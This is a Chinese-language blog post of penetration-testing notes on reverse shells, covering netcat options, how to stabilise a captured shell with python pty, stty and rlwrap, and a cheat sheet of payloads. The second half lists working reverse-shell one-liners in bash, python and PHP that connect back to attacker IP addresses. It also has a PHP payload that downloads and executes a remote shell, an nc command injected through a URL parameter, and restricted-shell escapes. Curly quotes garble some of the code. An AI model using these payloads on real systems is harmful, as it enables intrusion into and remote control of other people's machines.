shell反弹

反弹shell

nc
-l    开启监听
-p   指定一个端口
-v   显示详细输出
-e   指定对应的应用程序
-n   nc不要DNS反向查询IP的域名
-z   连接成功后立即关闭连接


#  对于shell 而言 简单来说就是 数据发送  数据接收 
#  数据怎么整合(打包发送,分段发送)   发送的话通过什么协议(udp tcp icmp  等等加密) 
# shell 分为两种类别 
1、交互式shell  (ssh 登录用户 密码  就是属于交互式)  渗透难 稳定 安全
2、非交互式的shell    (natcat 就是非交互式  )     渗透简单 不稳定 不安全
或者是 
反弹shell
绑定shell

'''
在通常情况下交互式 shell通过ssh协议连接非常 稳定 安全
那么对于渗透而言  前期仅仅获取到非交互式的shell 默认情况下,这些shell非常不稳定。 它们是非交互式的,并且经常出现奇怪的格式错误。这是因为它们实际上是在终端内运行的进程,而不是它本身就是真正的终端。
(windows 另说)
'''
==================================================================================
# 如何稳固 nc的shell?

情况1 简单
# 服务端监听端口
root@stone:~# nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.0.0.9 53852

# 靶机反弹shell给服务端
 ┌──(root㉿kali)-[~]
└─# nc 10.0.0.160 443 -e /bin/bash 
(其他发行版的linux 没有 -e的参数)

# 服务端获取到shell的时候 是什么用户环境变量的 操作不方便 
root@stone:~# fg 1
nc -lvnp 4444
id
用户id=0(root) 组id=0(root) 组=0(root)

# 在这种情况下,在服务端输入了错误命令,那么报错信息会在 靶机上显示,隐秘性不够强



python -c 'import pty;pty.spawn("/bin/bash")'  # 在服务端使用 python 构建一个稳定的shell,有对方shell的用户和系统提示信息
┌──(root㉿kali)-[~]
└─# 
# 构建完python 通道后 ,错误的回显不会出现在靶机上了,不能自动补全命令  左右键 不能使用



ctrl  + z   # 把当前通道 调到后台
export TERM=xterm-256color  可以做个调色
stty raw -echo;fg    # fg 前面有个空格  稳定化并重新进入shell

#(stty -echo  关闭输入的字符显示,比如 反弹的shell 中你输入了 xxx ,解释器不识别,那么就会报错显示在靶机上。
# 该raw设置意味着输入和输出不被处理,只是直通发送.处理可以是忽略某些字符,将字符转换为其他字符,允许中断信号等等.因此,例如,stty raw您无法按Ctrl-C结束进程.
   允许左右键切换
==============================================================================================================================           
情况二  中级

使用rlwrap  nc  -lnvp 4444  
让我们在收到 shell 后立即访问历史记录、选项卡自动完成和箭头键
python -c 'import pty;pty.spawn("/bin/bash")'  # 在服务端使用 python 构建一个稳定的shell,有对方shell的用户和系统提示信息                        ctrl  + z   # 把当前通道 调到后台
stty raw -echo;fg    # fg 前面有个空格  稳定化并重新进入shell                     
                                                       
                                                       
基于Socat的稳定化

使用初始 netcat shell 作为进入功能更全的 socat shell 的垫脚石。
请记住,这种技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。
                                                     
参考文档 https://www.freebuf.com/articles/web/328278.html 


bash -i >& /dev/tcp/192.168.8.104/1234 0>&1

python reverse shell
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.128”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
                                                      
php with bash
<?php exec(“/bin/bash -c ‘bash -i >& /dev/tcp/192.168.8.104/8888 0>&1′”); ?>



php reverse shell.txt, to host

<?php $sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);?>

to download and execute shell
<?php system(“wget 192.168.8.103/shell.txt -O /tmp/shell.php; php /tmp/shell.php”); ?>

nc -lvp 1234 < php_reverse_shell.php
cmd=nc 192.168.8.102 123 > reverse-shell.php
-w 1
-q 1
/browse.php?file=/tmp/shell2.php&cmd=nc+-w+1+10.10.14.4+5555+>+/tmp/shell5.php


Is it possible to break out of “jail” shell

python -c “import pty; pty.spawn(‘/bin/bash’);”

echo os.system(‘/bin/bash’)
/bin/sh -i
vi -> :sh or :!UNIX_command
awk ‘BEGIN{system(“/bin/bash”)}’

socat

posted @ 2022-08-12 14:39  mmszxc  阅读(84)  评论(0)    收藏  举报